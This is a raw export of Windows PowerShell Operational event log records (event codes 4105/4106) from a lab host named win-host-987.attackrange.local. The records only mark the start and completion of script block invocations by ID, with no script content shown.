SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042341
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042317
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042315
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042314
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042297
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042291
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
